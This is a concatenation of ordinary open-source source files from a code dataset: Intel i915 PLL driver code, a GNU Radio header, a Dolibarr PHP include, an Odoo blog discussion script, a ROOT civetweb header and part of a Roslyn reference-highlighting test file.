default: MISSING_CASE(refclk_khz); return false; } /* * tdc_res = 0.000003 * tdc_targetcnt = int(2 / (tdc_res * 8 * 50 * 1.1) / refclk_mhz + 0.5) * * The multiplication by 1000 is due to refclk MHz to KHz conversion. It * was supposed to be a division, but we rearranged the operations of * the formula to avoid early divisions so we don't multiply the * rounding errors. * * 0.000003 * 8 * 50 * 1.1 = 0.00132, also known as 132 / 100000, which * we also rearrange to work with integers. * * The 0.5 transformed to 5 results in a multiplication by 10 and the * last division by 10. */ tdc_targetcnt = (2 * 1000 * 100000 * 10 / (132 * refclk_khz) + 5) / 10; /* * Here we divide dco_khz by 10 in order to allow the dividend to fit in * 32 bits. That's not a problem since we round the division down * anyway. */ feedfwgain = (use_ssc || m2div_rem > 0) ? m1div * 1000000 * 100 / (dco_khz * 3 / 10) : 0; if (dco_khz >= 9000000) { prop_coeff = 5; int_coeff = 10; } else { prop_coeff = 4; int_coeff = 8; } if (use_ssc) { tmp = (uint64_t)dco_khz * 47 * 32; do_div(tmp, refclk_khz * m1div * 10000); ssc_stepsize = tmp; tmp = (uint64_t)dco_khz * 1000; ssc_steplen = DIV_ROUND_UP_ULL(tmp, 32 * 2 * 32); } else { ssc_stepsize = 0; ssc_steplen = 0; } ssc_steplog = 4; pll_state->mg_pll_div0 = (m2div_rem > 0 ? MG_PLL_DIV0_FRACNEN_H : 0) | MG_PLL_DIV0_FBDIV_FRAC(m2div_frac) | MG_PLL_DIV0_FBDIV_INT(m2div_int); pll_state->mg_pll_div1 = MG_PLL_DIV1_IREF_NDIVRATIO(iref_ndiv) | MG_PLL_DIV1_DITHER_DIV_2 | MG_PLL_DIV1_NDIVRATIO(1) | MG_PLL_DIV1_FBPREDIV(m1div); pll_state->mg_pll_lf = MG_PLL_LF_TDCTARGETCNT(tdc_targetcnt) | MG_PLL_LF_AFCCNTSEL_512 | MG_PLL_LF_GAINCTRL(1) | MG_PLL_LF_INT_COEFF(int_coeff) | MG_PLL_LF_PROP_COEFF(prop_coeff); pll_state->mg_pll_frac_lock = MG_PLL_FRAC_LOCK_TRUELOCK_CRIT_32 | MG_PLL_FRAC_LOCK_EARLYLOCK_CRIT_32 | MG_PLL_FRAC_LOCK_LOCKTHRESH(10) | MG_PLL_FRAC_LOCK_DCODITHEREN | MG_PLL_FRAC_LOCK_FEEDFWRDGAIN(feedfwgain); if (use_ssc || m2div_rem > 0) pll_state->mg_pll_frac_lock |= MG_PLL_FRAC_LOCK_FEEDFWRDCAL_EN; pll_state->mg_pll_ssc = (use_ssc ? MG_PLL_SSC_EN : 0) | MG_PLL_SSC_TYPE(2) | MG_PLL_SSC_STEPLENGTH(ssc_steplen) | MG_PLL_SSC_STEPNUM(ssc_steplog) | MG_PLL_SSC_FLLEN | MG_PLL_SSC_STEPSIZE(ssc_stepsize); pll_state->mg_pll_tdc_coldst_bias = MG_PLL_TDC_COLDST_COLDSTART | MG_PLL_TDC_COLDST_IREFINT_EN | MG_PLL_TDC_COLDST_REFBIAS_START_PULSE_W(iref_pulse_w) | MG_PLL_TDC_TDCOVCCORR_EN | MG_PLL_TDC_TDCSEL(3); pll_state->mg_pll_bias = MG_PLL_BIAS_BIAS_GB_SEL(3) | MG_PLL_BIAS_INIT_DCOAMP(0x3F) | MG_PLL_BIAS_BIAS_BONUS(10) | MG_PLL_BIAS_BIASCAL_EN | MG_PLL_BIAS_CTRIM(12) | MG_PLL_BIAS_VREF_RDAC(4) | MG_PLL_BIAS_IREFTRIM(iref_trim); if (refclk_khz == 38400) { pll_state->mg_pll_tdc_coldst_bias_mask = MG_PLL_TDC_COLDST_COLDSTART; pll_state->mg_pll_bias_mask = 0; } else { pll_state->mg_pll_tdc_coldst_bias_mask = -1U; pll_state->mg_pll_bias_mask = -1U; } pll_state->mg_pll_tdc_coldst_bias &= pll_state->mg_pll_tdc_coldst_bias_mask; pll_state->mg_pll_bias &= pll_state->mg_pll_bias_mask; return true; } static struct intel_shared_dpll * icl_get_dpll(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, struct intel_encoder *encoder) { struct drm_i915_private *dev_priv = to_i915(encoder->base.dev); struct intel_digital_port *intel_dig_port; struct intel_shared_dpll *pll; struct intel_dpll_hw_state pll_state = {}; enum port port = encoder->port; enum intel_dpll_id min, max; int clock = crtc_state->port_clock; bool ret; if (intel_port_is_combophy(dev_priv, port)) { min = DPLL_ID_ICL_DPLL0; max = DPLL_ID_ICL_DPLL1; ret = icl_calc_dpll_state(crtc_state, encoder, clock, &pll_state); } else if (intel_port_is_tc(dev_priv, port)) { if (encoder->type == INTEL_OUTPUT_DP_MST) { struct intel_dp_mst_encoder *mst_encoder; mst_encoder = enc_to_mst(&encoder->base); intel_dig_port = mst_encoder->primary; } else { intel_dig_port = enc_to_dig_port(&encoder->base); } if (intel_dig_port->tc_type == TC_PORT_TBT) { min = DPLL_ID_ICL_TBTPLL; max = min; ret = icl_calc_dpll_state(crtc_state, encoder, clock, &pll_state); } else { min = icl_port_to_mg_pll_id(port); max = min; ret = icl_calc_mg_pll_state(crtc_state, encoder, clock, &pll_state); } } else { MISSING_CASE(port); return NULL; } if (!ret) { DRM_DEBUG_KMS("Could not calculate PLL state.\n"); return NULL; } crtc_state->dpll_hw_state = pll_state; pll = intel_find_shared_dpll(crtc, crtc_state, min, max); if (!pll) { DRM_DEBUG_KMS("No PLL selected\n"); return NULL; } intel_reference_shared_dpll(pll, crtc_state); return pll; } static i915_reg_t icl_pll_id_to_enable_reg(enum intel_dpll_id id) { if (intel_dpll_is_combophy(id)) return CNL_DPLL_ENABLE(id); else if (id == DPLL_ID_ICL_TBTPLL) return TBT_PLL_ENABLE; else /* * TODO: Make MG_PLL macros use * tc port id instead of port id */ return MG_PLL_ENABLE(icl_mg_pll_id_to_port(id)); } static bool icl_pll_get_hw_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, struct intel_dpll_hw_state *hw_state) { const enum intel_dpll_id id = pll->info->id; uint32_t val; enum port port; bool ret = false; if (!intel_display_power_get_if_enabled(dev_priv, POWER_DOMAIN_PLLS)) return false; val = I915_READ(icl_pll_id_to_enable_reg(id)); if (!(val & PLL_ENABLE)) goto out; if (intel_dpll_is_combophy(id) || id == DPLL_ID_ICL_TBTPLL) { hw_state->cfgcr0 = I915_READ(ICL_DPLL_CFGCR0(id)); hw_state->cfgcr1 = I915_READ(ICL_DPLL_CFGCR1(id)); } else { port = icl_mg_pll_id_to_port(id); hw_state->mg_refclkin_ctl = I915_READ(MG_REFCLKIN_CTL(port)); hw_state->mg_refclkin_ctl &= MG_REFCLKIN_CTL_OD_2_MUX_MASK; hw_state->mg_clktop2_coreclkctl1 = I915_READ(MG_CLKTOP2_CORECLKCTL1(port)); hw_state->mg_clktop2_coreclkctl1 &= MG_CLKTOP2_CORECLKCTL1_A_DIVRATIO_MASK; hw_state->mg_clktop2_hsclkctl = I915_READ(MG_CLKTOP2_HSCLKCTL(port)); hw_state->mg_clktop2_hsclkctl &= MG_CLKTOP2_HSCLKCTL_TLINEDRV_CLKSEL_MASK | MG_CLKTOP2_HSCLKCTL_CORE_INPUTSEL_MASK | MG_CLKTOP2_HSCLKCTL_HSDIV_RATIO_MASK | MG_CLKTOP2_HSCLKCTL_DSDIV_RATIO_MASK; hw_state->mg_pll_div0 = I915_READ(MG_PLL_DIV0(port)); hw_state->mg_pll_div1 = I915_READ(MG_PLL_DIV1(port)); hw_state->mg_pll_lf = I915_READ(MG_PLL_LF(port)); hw_state->mg_pll_frac_lock = I915_READ(MG_PLL_FRAC_LOCK(port)); hw_state->mg_pll_ssc = I915_READ(MG_PLL_SSC(port)); hw_state->mg_pll_bias = I915_READ(MG_PLL_BIAS(port)); hw_state->mg_pll_tdc_coldst_bias = I915_READ(MG_PLL_TDC_COLDST_BIAS(port)); if (dev_priv->cdclk.hw.ref == 38400) { hw_state->mg_pll_tdc_coldst_bias_mask = MG_PLL_TDC_COLDST_COLDSTART; hw_state->mg_pll_bias_mask = 0; } else { hw_state->mg_pll_tdc_coldst_bias_mask = -1U; hw_state->mg_pll_bias_mask = -1U; } hw_state->mg_pll_tdc_coldst_bias &= hw_state->mg_pll_tdc_coldst_bias_mask; hw_state->mg_pll_bias &= hw_state->mg_pll_bias_mask; } ret = true; out: intel_display_power_put(dev_priv, POWER_DOMAIN_PLLS); return ret; } static void icl_dpll_write(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { struct intel_dpll_hw_state *hw_state = &pll->state.hw_state; const enum intel_dpll_id id = pll->info->id; I915_WRITE(ICL_DPLL_CFGCR0(id), hw_state->cfgcr0); I915_WRITE(ICL_DPLL_CFGCR1(id), hw_state->cfgcr1); POSTING_READ(ICL_DPLL_CFGCR1(id)); } static void icl_mg_pll_write(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { struct intel_dpll_hw_state *hw_state = &pll->state.hw_state; enum port port = icl_mg_pll_id_to_port(pll->info->id); u32 val; /* * Some of the following registers have reserved fields, so program * these with RMW based on a mask. The mask can be fixed or generated * during the calc/readout phase if the mask depends on some other HW * state like refclk, see icl_calc_mg_pll_state(). */ val = I915_READ(MG_REFCLKIN_CTL(port)); val &= ~MG_REFCLKIN_CTL_OD_2_MUX_MASK; val |= hw_state->mg_refclkin_ctl; I915_WRITE(MG_REFCLKIN_CTL(port), val); val = I915_READ(MG_CLKTOP2_CORECLKCTL1(port)); val &= ~MG_CLKTOP2_CORECLKCTL1_A_DIVRATIO_MASK; val |= hw_state->mg_clktop2_coreclkctl1; I915_WRITE(MG_CLKTOP2_CORECLKCTL1(port), val); val = I915_READ(MG_CLKTOP2_HSCLKCTL(port)); val &= ~(MG_CLKTOP2_HSCLKCTL_TLINEDRV_CLKSEL_MASK | MG_CLKTOP2_HSCLKCTL_CORE_INPUTSEL_MASK | MG_CLKTOP2_HSCLKCTL_HSDIV_RATIO_MASK | MG_CLKTOP2_HSCLKCTL_DSDIV_RATIO_MASK); val |= hw_state->mg_clktop2_hsclkctl; I915_WRITE(MG_CLKTOP2_HSCLKCTL(port), val); I915_WRITE(MG_PLL_DIV0(port), hw_state->mg_pll_div0); I915_WRITE(MG_PLL_DIV1(port), hw_state->mg_pll_div1); I915_WRITE(MG_PLL_LF(port), hw_state->mg_pll_lf); I915_WRITE(MG_PLL_FRAC_LOCK(port), hw_state->mg_pll_frac_lock); I915_WRITE(MG_PLL_SSC(port), hw_state->mg_pll_ssc); val = I915_READ(MG_PLL_BIAS(port)); val &= ~hw_state->mg_pll_bias_mask; val |= hw_state->mg_pll_bias; I915_WRITE(MG_PLL_BIAS(port), val); val = I915_READ(MG_PLL_TDC_COLDST_BIAS(port)); val &= ~hw_state->mg_pll_tdc_coldst_bias_mask; val |= hw_state->mg_pll_tdc_coldst_bias; I915_WRITE(MG_PLL_TDC_COLDST_BIAS(port), val); POSTING_READ(MG_PLL_TDC_COLDST_BIAS(port)); } static void icl_pll_enable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; i915_reg_t enable_reg = icl_pll_id_to_enable_reg(id); uint32_t val; val = I915_READ(enable_reg); val |= PLL_POWER_ENABLE; I915_WRITE(enable_reg, val); /* * The spec says we need to "wait" but it also says it should be * immediate. */ if (intel_wait_for_register(dev_priv, enable_reg, PLL_POWER_STATE, PLL_POWER_STATE, 1)) DRM_ERROR("PLL %d Power not enabled\n", id); if (intel_dpll_is_combophy(id) || id == DPLL_ID_ICL_TBTPLL) icl_dpll_write(dev_priv, pll); else icl_mg_pll_write(dev_priv, pll); /* * DVFS pre sequence would be here, but in our driver the cdclk code * paths should already be setting the appropriate voltage, hence we do * nothign here. */ val = I915_READ(enable_reg); val |= PLL_ENABLE; I915_WRITE(enable_reg, val); if (intel_wait_for_register(dev_priv, enable_reg, PLL_LOCK, PLL_LOCK, 1)) /* 600us actually. */ DRM_ERROR("PLL %d not locked\n", id); /* DVFS post sequence would be here. See the comment above. */ } static void icl_pll_disable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; i915_reg_t enable_reg = icl_pll_id_to_enable_reg(id); uint32_t val; /* The first steps are done by intel_ddi_post_disable(). */ /* * DVFS pre sequence would be here, but in our driver the cdclk code * paths should already be setting the appropriate voltage, hence we do * nothign here. */ val = I915_READ(enable_reg); val &= ~PLL_ENABLE; I915_WRITE(enable_reg, val); /* Timeout is actually 1us. */ if (intel_wait_for_register(dev_priv, enable_reg, PLL_LOCK, 0, 1)) DRM_ERROR("PLL %d locked\n", id); /* DVFS post sequence would be here. See the comment above. */ val = I915_READ(enable_reg); val &= ~PLL_POWER_ENABLE; I915_WRITE(enable_reg, val); /* * The spec says we need to "wait" but it also says it should be * immediate. */ if (intel_wait_for_register(dev_priv, enable_reg, PLL_POWER_STATE, 0, 1)) DRM_ERROR("PLL %d Power not disabled\n", id); } static void icl_dump_hw_state(struct drm_i915_private *dev_priv, struct intel_dpll_hw_state *hw_state) { DRM_DEBUG_KMS("dpll_hw_state: cfgcr0: 0x%x, cfgcr1: 0x%x, " "mg_refclkin_ctl: 0x%x, hg_clktop2_coreclkctl1: 0x%x, " "mg_clktop2_hsclkctl: 0x%x, mg_pll_div0: 0x%x, " "mg_pll_div2: 0x%x, mg_pll_lf: 0x%x, " "mg_pll_frac_lock: 0x%x, mg_pll_ssc: 0x%x, " "mg_pll_bias: 0x%x, mg_pll_tdc_coldst_bias: 0x%x\n", hw_state->cfgcr0, hw_state->cfgcr1, hw_state->mg_refclkin_ctl, hw_state->mg_clktop2_coreclkctl1, hw_state->mg_clktop2_hsclkctl, hw_state->mg_pll_div0, hw_state->mg_pll_div1, hw_state->mg_pll_lf, hw_state->mg_pll_frac_lock, hw_state->mg_pll_ssc, hw_state->mg_pll_bias, hw_state->mg_pll_tdc_coldst_bias); } static const struct intel_shared_dpll_funcs icl_pll_funcs = { .enable = icl_pll_enable, .disable = icl_pll_disable, .get_hw_state = icl_pll_get_hw_state, }; static const struct dpll_info icl_plls[] = { { "DPLL 0", &icl_pll_funcs, DPLL_ID_ICL_DPLL0, 0 }, { "DPLL 1", &icl_pll_funcs, DPLL_ID_ICL_DPLL1, 0 }, { "TBT PLL", &icl_pll_funcs, DPLL_ID_ICL_TBTPLL, 0 }, { "MG PLL 1", &icl_pll_funcs, DPLL_ID_ICL_MGPLL1, 0 }, { "MG PLL 2", &icl_pll_funcs, DPLL_ID_ICL_MGPLL2, 0 }, { "MG PLL 3", &icl_pll_funcs, DPLL_ID_ICL_MGPLL3, 0 }, { "MG PLL 4", &icl_pll_funcs, DPLL_ID_ICL_MGPLL4, 0 }, { }, }; static const struct intel_dpll_mgr icl_pll_mgr = { .dpll_info = icl_plls, .get_dpll = icl_get_dpll, .dump_hw_state = icl_dump_hw_state, }; /** * intel_shared_dpll_init - Initialize shared DPLLs * @dev: drm device * * Initialize shared DPLLs for @dev. */ void intel_shared_dpll_init(struct drm_device *dev) { struct drm_i915_private *dev_priv = to_i915(dev); const struct intel_dpll_mgr *dpll_mgr = NULL; const struct dpll_info *dpll_info; int i; if (IS_ICELAKE(dev_priv)) dpll_mgr = &icl_pll_mgr; else if (IS_CANNONLAKE(dev_priv)) dpll_mgr = &cnl_pll_mgr; else if (IS_GEN9_BC(dev_priv)) dpll_mgr = &skl_pll_mgr; else if (IS_GEN9_LP(dev_priv)) dpll_mgr = &bxt_pll_mgr; else if (HAS_DDI(dev_priv)) dpll_mgr = &hsw_pll_mgr; else if (HAS_PCH_IBX(dev_priv) || HAS_PCH_CPT(dev_priv)) dpll_mgr = &pch_pll_mgr; if (!dpll_mgr) { dev_priv->num_shared_dpll = 0; return; } dpll_info = dpll_mgr->dpll_info; for (i = 0; dpll_info[i].name; i++) { WARN_ON(i != dpll_info[i].id); dev_priv->shared_dplls[i].info = &dpll_info[i]; } dev_priv->dpll_mgr = dpll_mgr; dev_priv->num_shared_dpll = i; mutex_init(&dev_priv->dpll_lock); BUG_ON(dev_priv->num_shared_dpll > I915_NUM_PLLS); /* FIXME: Move this to a more suitable place */ if (HAS_DDI(dev_priv)) intel_ddi_pll_init(dev); } /** * intel_get_shared_dpll - get a shared DPLL for CRTC and encoder combination * @crtc: CRTC * @crtc_state: atomic state for @crtc * @encoder: encoder * * Find an appropriate DPLL for the given CRTC and encoder combination. A * reference from the @crtc to the returned pll is registered in the atomic * state. That configuration is made effective by calling * intel_shared_dpll_swap_state(). The reference should be released by calling * intel_release_shared_dpll(). * * Returns: * A shared DPLL to be used by @crtc and @encoder with the given @crtc_state. */ struct intel_shared_dpll * intel_get_shared_dpll(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, struct intel_encoder *encoder) { struct drm_i915_private *dev_priv = to_i915(crtc->base.dev); const struct intel_dpll_mgr *dpll_mgr = dev_priv->dpll_mgr; if (WARN_ON(!dpll_mgr)) return NULL; return dpll_mgr->get_dpll(crtc, crtc_state, encoder); } /** * intel_release_shared_dpll - end use of DPLL by CRTC in atomic state * @dpll: dpll in use by @crtc * @crtc: crtc * @state: atomic state * * This function releases the reference from @crtc to @dpll from the * atomic @state. The new configuration is made effective by calling * intel_shared_dpll_swap_state(). */ void intel_release_shared_dpll(struct intel_shared_dpll *dpll, struct intel_crtc *crtc, struct drm_atomic_state *state) { struct intel_shared_dpll_state *shared_dpll_state; shared_dpll_state = intel_atomic_get_shared_dpll_state(state); shared_dpll_state[dpll->info->id].crtc_mask &= ~(1 << crtc->pipe); } /** * intel_shared_dpll_dump_hw_state - write hw_state to dmesg * @dev_priv: i915 drm device * @hw_state: hw state to be written to the log * * Write the relevant values in @hw_state to dmesg using DRM_DEBUG_KMS. */ void intel_dpll_dump_hw_state(struct drm_i915_private *dev_priv, struct intel_dpll_hw_state *hw_state) { if (dev_priv->dpll_mgr) { dev_priv->dpll_mgr->dump_hw_state(dev_priv, hw_state); } else { /* fallback for platforms that don't use the shared dpll * infrastructure */ DRM_DEBUG_KMS("dpll_hw_state: dpll: 0x%x, dpll_md: 0x%x, " "fp0: 0x%x, fp1: 0x%x\n", hw_state->dpll, hw_state->dpll_md, hw_state->fp0, hw_state->fp1); } }
gpl-2.0
gnu-sandhi/sandhi
modules/gr36/gnuradio-core/src/lib/general/gr_core_api.h
1060
/* * Copyright 2010-2011 Free Software Foundation, Inc. * * This file is part of GNU Radio * * GNU Radio is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * GNU Radio is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GNU Radio; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_GR_CORE_API_H #define INCLUDED_GR_CORE_API_H #include <gruel/attributes.h> #ifdef gnuradio_core_EXPORTS # define GR_CORE_API __GR_ATTR_EXPORT #else # define GR_CORE_API __GR_ATTR_IMPORT #endif #endif /* INCLUDED_GR_CORE_API_H */
gpl-3.0
atm-robin/dolibarr
htdocs/core/actions_fetchobject.inc.php
1522
<?php /* Copyright (C) 2014 Laurent Destailleur <[email protected]> * Copyright (C) 2015 Frederic France <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * or see http://www.gnu.org/ */ /** * \file htdocs/core/actions_fetchobject.inc.php * \brief Code for actions on fetching object page */ // $action must be defined // $object must be defined (object is loaded in this file with fetch) // $cancel must be defined // $id or $ref must be defined (object is loaded in this file with fetch) if (($id > 0 || (! empty($ref) && ! in_array($action, array('create','createtask')))) && empty($cancel)) { $ret = $object->fetch($id,$ref); if ($ret > 0) { $object->fetch_thirdparty(); $id = $object->id; } else { setEventMessages($object->error, $object->errors, 'errors'); $action=''; } }
gpl-3.0
jjscarafia/odoo
addons/website_blog/static/src/js/website_blog.inline.discussion.js
9713
// Inspired from https://github.com/tsi/inlineDisqussions (function () { 'use strict'; var website = openerp.website, qweb = openerp.qweb; website.blog_discussion = openerp.Class.extend({ init: function(options) { var self = this ; self.discus_identifier; var defaults = { position: 'right', post_id: $('#blog_post_name').attr('data-blog-id'), content : false, public_user: false, }; self.settings = $.extend({}, defaults, options); // TODO: bundlify qweb templates website.add_template_file('/website_blog/static/src/xml/website_blog.inline.discussion.xml').then(function () { self.do_render(self); }); }, do_render: function(data) { var self = this; if ($('#discussions_wrapper').length === 0 && self.settings.content.length > 0) { $('<div id="discussions_wrapper"></div>').insertAfter($('#blog_content')); } // Attach a discussion to each paragraph. self.discussions_handler(self.settings.content); // Hide the discussion. $('html').click(function(event) { if($(event.target).parents('#discussions_wrapper, .main-discussion-link-wrp').length === 0) { self.hide_discussion(); } if(!$(event.target).hasClass('discussion-link') && !$(event.target).parents('.popover').length){ if($('.move_discuss').length){ $('[enable_chatter_discuss=True]').removeClass('move_discuss'); $('[enable_chatter_discuss=True]').animate({ 'marginLeft': "+=40%" }); $('#discussions_wrapper').animate({ 'marginLeft': "+=250px" }); } } }); }, prepare_data : function(identifier, comment_count) { var self = this; return openerp.jsonRpc("/blogpost/get_discussion/", 'call', { 'post_id': self.settings.post_id, 'path': identifier, 'count': comment_count, //if true only get length of total comment, display on discussion thread. }) }, prepare_multi_data : function(identifiers, comment_count) { var self = this; return openerp.jsonRpc("/blogpost/get_discussions/", 'call', { 'post_id': self.settings.post_id, 'paths': identifiers, 'count': comment_count, //if true only get length of total comment, display on discussion thread. }) }, discussions_handler: function() { var self = this; var node_by_id = {}; $(self.settings.content).each(function(i) { var node = $(this); var identifier = node.attr('data-chatter-id'); if (identifier) { node_by_id[identifier] = node; } }); self.prepare_multi_data(_.keys(node_by_id), true).then( function (multi_data) { _.forEach(multi_data, function(data) { self.prepare_discuss_link(data.val, data.path, node_by_id[data.path]); }); }); }, prepare_discuss_link : function(data, identifier, node) { var self = this; var cls = data > 0 ? 'discussion-link has-comments' : 'discussion-link'; var a = $('<a class="'+ cls +' css_editable_mode_hidden" />') .attr('data-discus-identifier', identifier) .attr('data-discus-position', self.settings.position) .text(data > 0 ? data : '+') .attr('data-contentwrapper', '.mycontent') .wrap('<div class="discussion" />') .parent() .appendTo('#discussions_wrapper'); a.css({ 'top': node.offset().top, 'left': self.settings.position == 'right' ? node.outerWidth() + node.offset().left: node.offset().left - a.outerWidth() }); // node.attr('data-discus-identifier', identifier) node.mouseover(function() { a.addClass("hovered"); }).mouseout(function() { a.removeClass("hovered"); }); a.delegate('a.discussion-link', "click", function(e) { e.preventDefault(); if(!$('.move_discuss').length){ $('[enable_chatter_discuss=True]').addClass('move_discuss'); $('[enable_chatter_discuss=True]').animate({ 'marginLeft': "-=40%" }); $('#discussions_wrapper').animate({ 'marginLeft': "-=250px" }); } if ($(this).is('.active')) { e.stopPropagation(); self.hide_discussion(); } else { self.get_discussion($(this), function(source) {}); } }); }, get_discussion : function(source, callback) { var self = this; var identifier = source.attr('data-discus-identifier'); self.hide_discussion(); self.discus_identifier = identifier; var elt = $('a[data-discus-identifier="'+identifier+'"]'); elt.append(qweb.render("website.blog_discussion.popover", {'identifier': identifier , 'options': self.settings})); var comment = ''; self.prepare_data(identifier,false).then(function(data){ _.each(data, function(res){ comment += qweb.render("website.blog_discussion.comment", {'res': res}); }); $('.discussion_history').html('<ul class="media-list">'+comment+'</ul>'); self.create_popover(elt, identifier); // Add 'active' class. $('a.discussion-link, a.main-discussion-link').removeClass('active').filter(source).addClass('active'); elt.popover('hide').filter(source).popover('show'); callback(source); }); }, create_popover : function(elt, identifier) { var self = this; elt.popover({ placement:'right', trigger:'manual', html:true, content:function(){ return $($(this).data('contentwrapper')).html(); } }).parent().delegate(self).on('click','button#comment_post',function(e) { e.stopImmediatePropagation(); self.post_discussion(identifier); }); }, validate : function(public_user){ var comment = $(".popover textarea#inline_comment").val(); if (public_user){ var author_name = $('.popover input#author_name').val(); var author_email = $('.popover input#author_email').val(); if(!comment || !author_name || !author_email){ if (!author_name) $('div#author_name').addClass('has-error'); else $('div#author_name').removeClass('has-error'); if (!author_email) $('div#author_email').addClass('has-error'); else $('div#author_email').removeClass('has-error'); if(!comment) $('div#inline_comment').addClass('has-error'); else $('div#inline_comment').removeClass('has-error'); return false } } else if(!comment) { $('div#inline_comment').addClass('has-error'); return false } $("div#inline_comment").removeClass('has-error'); $('div#author_name').removeClass('has-error'); $('div#author_email').removeClass('has-error'); $(".popover textarea#inline_comment").val(''); $('.popover input#author_name').val(''); $('.popover input#author_email').val(''); return [comment, author_name, author_email] }, post_discussion : function(identifier) { var self = this; var val = self.validate(self.settings.public_user) if(!val) return openerp.jsonRpc("/blogpost/post_discussion", 'call', { 'blog_post_id': self.settings.post_id, 'path': self.discus_identifier, 'comment': val[0], 'name' : val[1], 'email': val[2], }).then(function(res){ $(".popover ul.media-list").prepend(qweb.render("website.blog_discussion.comment", {'res': res[0]})) var ele = $('a[data-discus-identifier="'+ self.discus_identifier +'"]'); ele.text(_.isNaN(parseInt(ele.text())) ? 1 : parseInt(ele.text())+1) ele.addClass('has-comments'); }); }, hide_discussion : function() { var self = this; $('a[data-discus-identifier="'+ self.discus_identifier+'"]').popover('destroy'); $('a.discussion-link').removeClass('active'); } }); })();
agpl-3.0
perovic/root
net/http/inc/TCivetweb.h
821
// $Id$ // Author: Sergey Linev 21/12/2013 #ifndef ROOT_TCivetweb #define ROOT_TCivetweb #ifndef ROOT_THttpEngine #include "THttpEngine.h" #endif class TCivetweb : public THttpEngine { protected: void *fCtx; //! civetweb context void *fCallbacks; //! call-back table for civetweb webserver TString fTopName; //! name of top item Bool_t fDebug; //! debug mode public: TCivetweb(); virtual ~TCivetweb(); virtual Bool_t Create(const char *args); const char *GetTopName() const { return fTopName.Data(); } Bool_t IsDebugMode() const { // indicates that return fDebug; } Int_t ProcessLog(const char* message); ClassDef(TCivetweb, 0) // http server implementation, based on civetweb embedded server }; #endif
lgpl-2.1
mmitche/roslyn
src/EditorFeatures/Test2/ReferenceHighlighting/CSharpReferenceHighlightingTests.vb
19609
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports System.Threading.Tasks Namespace Microsoft.CodeAnalysis.Editor.UnitTests.ReferenceHighlighting Public Class CSharpReferenceHighlightingTests Inherits AbstractReferenceHighlightingTests <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestVerifyNoHighlightsWhenOptionDisabled() As Task Await VerifyHighlightsAsync( <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class $$Goo { Goo f; } </Document> </Project> </Workspace>, optionIsEnabled:=False) End Function <WpfFact> <Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestVerifyHighlightsForClass() As Task Await VerifyHighlightsAsync( <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class {|Definition:$$Goo|} { } </Document> </Project> </Workspace>) End Function <WpfFact> <Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestVerifyHighlightsForScriptReference() As Task Await VerifyHighlightsAsync( <Workspace> <Project Language="C#" CommonReferences="true"> <Document> <ParseOptions Kind="Script"/> void M() { } {|Reference:$$Script|}.M(); </Document> </Project> </Workspace>) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestVerifyHighlightsForCSharpClassWithConstructor() As Task Await VerifyHighlightsAsync( <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class {|Definition:$$Goo|} { {|Definition:Goo|}() { {|Reference:var|} x = new {|Reference:Goo|}(); } } </Document> </Project> </Workspace>) End Function <WorkItem(538721, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/538721")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestVerifyHighlightsForCSharpClassWithSynthesizedConstructor() As Task Await VerifyHighlightsAsync( <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class {|Definition:Goo|} { void Blah() { var x = new {|Reference:$$Goo|}(); } } </Document> </Project> </Workspace>) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> <WorkItem(528436, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/528436")> Public Async Function TestVerifyHighlightsOnCloseAngleOfGeneric() As Task Await VerifyHighlightsAsync( <Workspace> <Project Language="C#" CommonReferences="true"> <Document><![CDATA[ using System; using System.Collections.Generic; using System.Linq; class {|Definition:Program|} { static void Main(string[] args) { new List<{|Reference:Program$$|}>(); } }]]> </Document> </Project> </Workspace>) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> <WorkItem(570809, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/570809")> Public Async Function TestVerifyNoHighlightsOnAsyncLambda() As Task Await VerifyHighlightsAsync( <Workspace> <Project Language="C#" CommonReferences="true"> <Document><![CDATA[ using System; using System.Collections.Generic; using System.Linq; class Program { public delegate Task del(); del ft = $$async () => { return await Task.Yield(); }; }]]> </Document> </Project> </Workspace>) End Function <WorkItem(543768, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543768")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestAlias1() As Task Dim input = <Workspace> <Project 